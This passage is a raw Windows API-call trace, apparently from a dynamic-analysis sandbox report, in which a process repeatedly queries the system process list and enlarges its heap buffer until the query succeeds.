0x71d9e8 [0209.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0209.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0209.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0209.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0209.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0209.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0209.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0209.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0209.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0209.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0209.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0209.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0209.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0209.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0209.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0209.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0209.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0209.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0209.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0209.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0209.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0209.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0209.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0209.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0209.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0209.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0209.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0209.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0209.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0209.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0210.100] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0210.100] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0210.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0210.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0210.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0210.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0210.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0210.101] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.101] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0210.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.102] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0210.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0210.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xa168) returned 0x25621b8 [0210.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.103] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xb18c) returned 0x25621b8 [0210.103] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xc1b0) returned 0x25621b8 [0210.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xd1d4) returned 0x25621b8 [0210.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.104] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xe1f8) returned 0x25621b8 [0210.104] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.105] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xf21c) returned 0x25621b8 [0210.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.105] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x10240) returned 0x25621b8 [0210.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.105] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x11264) returned 0x25621b8 [0210.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x12288) returned 0x25621b8 [0210.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x132ac) returned 0x25621b8 [0210.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x142d0) returned 0x25621b8 [0210.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x152f4) returned 0x25621b8 [0210.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x16318) returned 0x25621b8 [0210.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1733c) returned 0x25621b8 [0210.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.108] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x18360) returned 0x25621b8 [0210.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.108] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x19384) returned 0x25621b8 [0210.108] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0210.109] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0210.244] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0210.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0210.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0210.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0210.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79f980 [0210.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79f980, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79f980, ResultLength=0x0) returned 0xc0000004 [0210.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79f980, Size=0x50b4) returned 0x79f980 [0210.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79f980, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79f980, ResultLength=0x0) returned 0xc0000004 [0210.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79f980, Size=0x60d8) returned 0x25621b8 [0210.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.245] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x70fc) returned 0x25621b8 [0210.245] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0210.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0210.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xa168) returned 0x25621b8 [0210.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.246] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xb18c) returned 0x25621b8 [0210.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.247] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xc1b0) returned 0x25621b8 [0210.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.247] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xd1d4) returned 0x25621b8 [0210.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.247] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xe1f8) returned 0x25621b8 [0210.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.247] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xf21c) returned 0x25621b8 [0210.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.248] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x10240) returned 0x25621b8 [0210.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.248] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x11264) returned 0x25621b8 [0210.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.248] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x12288) returned 0x25621b8 [0210.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.249] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x132ac) returned 0x25621b8 [0210.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.249] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x142d0) returned 0x25621b8 [0210.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.249] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x152f4) returned 0x25621b8 [0210.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x16318) returned 0x25621b8 [0210.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x1733c) returned 0x25621b8 [0210.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.250] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x18360) returned 0x25621b8 [0210.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.251] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x19384) returned 0x25621b8 [0210.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0210.251] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0210.505] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0210.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0210.505] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0210.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0210.505] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0210.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.505] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0210.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.506] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0210.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0210.506] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0210.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.506] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0210.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.506] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0210.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.507] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xa168) returned 0x25621b8 [0210.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.507] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xb18c) returned 0x25621b8 [0210.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.507] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xc1b0) returned 0x25621b8 [0210.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.507] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xd1d4) returned 0x25621b8 [0210.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xe1f8) returned 0x25621b8 [0210.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0xf21c) returned 0x25621b8 [0210.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0210.508] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x10240) returned 0x25621b8 [0210.508] NtQuerySystemInformation 